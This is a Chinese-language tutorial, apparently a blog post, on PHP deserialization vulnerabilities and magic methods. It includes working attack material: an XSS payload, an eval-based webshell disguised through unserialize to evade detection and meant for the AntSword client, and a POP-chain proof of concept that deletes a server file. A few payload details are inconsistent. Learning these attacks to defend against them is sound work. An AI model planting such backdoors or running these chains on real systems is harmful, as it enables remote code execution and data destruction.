目录
前提知识
漏洞产生原理
常见的函数
序列化
反序列化
__sleep函数
私有和保护
__wakeup函数
反序列化漏洞举例
构造XSS漏洞
反序列化免杀后门
POP CHAIN(POP链)
前提知识
漏洞产生原理
serialize() 和 unserialize() 在 PHP内部实现上是没有漏洞的,之所以会产生反序列化漏洞是因为应用程序在处理对象、魔术函数以及序列化相关问题的时候导致的。
常见的函数
__construct()当一个对象创建时被调用
__destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup() 执行unserialize()时,先会调用这个函数
序列化
<?php
class student{
public $name;
public $id;
public $score;
}
$_stu1=new student();
$_stu1->name='coleak';
$_stu1->id=1;
$_stu1->score=100;
echo serialize($_stu1);
?>
O:7:"student":3:{s:4:"name";s:6:"coleak";s:2:"id";i:1;s:5:"score";i:100;}
O:strlen(类名):类名:类的变量个数:{类型:长度:值;类型:长度:值…}
String类型 :s:size:value
Integer类型 :i:value
Boolean类型 : b:value (保存1或0)
Null型 :N Array :a:size:{key definition;value definition}
反序列化
<?php
class student{
public $name;
public $id;
public $score;
}
$a='O:7:"student":3:{s:4:"name";s:6:"coleak";s:2:"id";i:1;s:5:"score";i:100;}';
$newstu=unserialize($a);
var_dump($newstu);
echo $newstu->name;
?>
object(student)#1 (3) { ["name"]=> string(6) "coleak" ["id"]=> int(1) ["score"]=> int(100) }
coleak
__sleep函数
serialize() 函数会检查类中是否存在一个魔术方法 __sleep()
。如果存在,__sleep()
方法会先被调用,然后才执行序列化操作。可以在__sleep()
方法里决定哪些属性可以被序列化。如果没有__sleep()方法则默认序列化所有属性。
<?php
class student{
public $name;
public $id;
public $score;
public function __sleep()
{
return array('name','id');
}
}
$_stu1=new student();
$_stu1->name='coleak';
$_stu1->id=1;
$_stu1->score=100;
echo serialize($_stu1);
?>
O:7:"student":2:{s:4:"name";s:6:"coleak";s:2:"id";i:1;}
私有和保护
<?php
class student{
public $name='coleak';
protected $id=1;
private $score=100;
}
$_stu1=new student();
echo serialize($_stu1);
?>
O:7:"student":3:{s:4:"name";s:6:"coleak";s:5:"*id";i:1;s:14:"studentscore";i:100;}
5=1+1+1+2;14=1+7+1+5
protected属性被序列化的时候属性值会变成
%00*%00属性名
private属性被序列化的时候属性值会变成%00类名%00属性名
(%00为空白符,一个空字符长度为 1)
__wakeup函数
unserialize()会检查是否存在__wakeup()方法。如果存在,则会先调用__wakeup方法,预先准备对象需要的资源。
<?php
class student{
public $name='coleak';
protected $id=1;
private $score=100;
public function __wakeup(){
$this->score=99;
}
}
$_stu1=new student();
$a=serialize($_stu1);
echo $a."<br>";
$b=unserialize($a);
print_r($b);
?>
O:7:"student":3:{s:4:"name";s:6:"coleak";s:5:"*id";i:1;s:14:"studentscore";i:100;}
student Object ( [name] => coleak [id:protected] => 1 [score:student:private] => 99 )
反序列化漏洞举例
构造XSS漏洞
<?php
class T{
var $test = "coleak";
function __destruct(){
echo $this->test;
}
}
$con= $_GET['test'];
@$unser = unserialize($con);
?>
?test=O:1:"S":1:{s:4:"test";s:29:"<script>alert(%27xss%27)</script>";}
反序列化免杀后门
<?php
class A{
var $test = "test";
function __destruct(){
@eval($this->test);
}
}
$test = $_POST['test'];
$len = strlen($test)+1;
$g = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}";
$test_unser = unserialize($g);
?>
#相当于<?php @eval($_POST['test']);?>
当传入test=phpinfo()时,$g=O:1:"A":1:{s:4:"test";s:11:"phpinfo();;";}
连接蚁剑
POP CHAIN(POP链)
用户可控反序列化→魔术方法→魔术方法中调用的其他函数→同名函数或通过传递可调用的函数→敏感操作
<?php
class Test1{
protected $obj;
function __construct()
{
$this->obj = new Test3;
}
function __toString(){
if (isset($this->obj)) return $this->obj->Delete();
}
}
class Test2{
public $cache_file;
function Delete()
{
$file ="C:/Users/admin/Desktop/PHP/{$this->cache_file}";
if (file_exists($file)){
@unlink($file);
}
return 'I am a evil Delete function';
}
}
class Test3{
function Delete(){
return 'I am a safe Delete function';
}
}
$user_data = unserialize($_GET['data']);
echo $user_data;
?>
Test1类→__construct()→$this->obj=new Test3→__tostring()→Test3.Delete方法
构造我们的POP链,在反序列化后使用Test2类中的Delete()来执行敏感操作,即:
Test1类→__construct()→$this->obj=new Test2→__tostring()→Test2.Delete方法
POC
<?php
class Test1{
protected $obj;
function __construct(){
$this->obj = new Test2;
}
}
class Test2{
public $cache_file ="password.php";
}
$evil = new Test1();
echo urlencode(serialize($evil));
?>
O%3A5%3A%22Test1%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A5%3A%22Test2%22%3A1%3A%7Bs%3A10%3A%22cache_file%22%3Bs%3A12%3A%22password.txt%22%3B%7D%7D
O:5:"Test1":1:{s:6:"*obj";O:5:"Test2":1:{s:10:"cache_file";s:12:"password.php";}}
此时敏感文件被删除